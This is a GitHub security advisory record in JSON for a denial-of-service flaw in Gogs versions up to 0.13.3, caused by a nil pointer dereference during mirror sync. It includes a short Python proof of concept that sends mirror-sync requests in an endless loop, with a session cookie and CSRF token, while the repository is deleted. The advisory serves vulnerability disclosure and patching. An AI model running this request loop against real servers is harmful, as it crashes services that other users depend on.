{"schema_version":"1.7.3","id":"GHSA-cr88-6mqm-4g57","published":"2026-02-06T18:08:16Z","modified":"2026-02-19T20:41:25.323084Z","aliases":["CVE-2026-22592","GO-2026-4451"],"summary":"Gogs has a Denial of Service issue","details":"### Summary\nAn authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.\n\n### Details\nIf GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits.\nhttps://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337\nif `err != nil` `m` is alwasa `nil`\nhttps://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278\n### PoC\nSpam mirror-sync on repo and delete this repo\ncode python spam mirror-sync\n```py\nimport requests\n\nurl = \"http://gogs.lan:3000/superuser/gobypass403/settings\"\nheaders = {\n    \"Cookie\": \"lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg\",\n}\n\ndata = {\n    \"_csrf\": \"UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg\",\n    \"action\": \"mirror-sync\",\n}\n\nwhile True:\n    print(\"syncing\")\n    response = requests.post(url, headers=headers, data=data)\n```\n### Impact\nDenial of Service server crash.","affected":[{"package":{"name":"gogs.io/gogs","ecosystem":"Go","purl":"pkg:golang/gogs.io/gogs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.13.4"}]}],"database_specific":{"last_known_affected_version_range":"<= 0.13.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-cr88-6mqm-4g57/GHSA-cr88-6mqm-4g57.json"}}],"references":[{"type":"WEB","url":"https://github.com/gogs/gogs/security/advisories/GHSA-cr88-6mqm-4g57"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22592"},{"type":"WEB","url":"https://github.com/gogs/gogs/commit/961a79e8f9f2b3190ea804bcf635e4b43b123272"},{"type":"PACKAGE","url":"https://github.com/gogs/gogs"},{"type":"WEB","url":"https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278"},{"type":"WEB","url":"https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337"}],"database_specific":{"cwe_ids":["CWE-862"],"github_reviewed":true,"github_reviewed_at":"2026-02-06T18:08:16Z","nvd_published_at":"2026-02-06T18:15:56Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}]}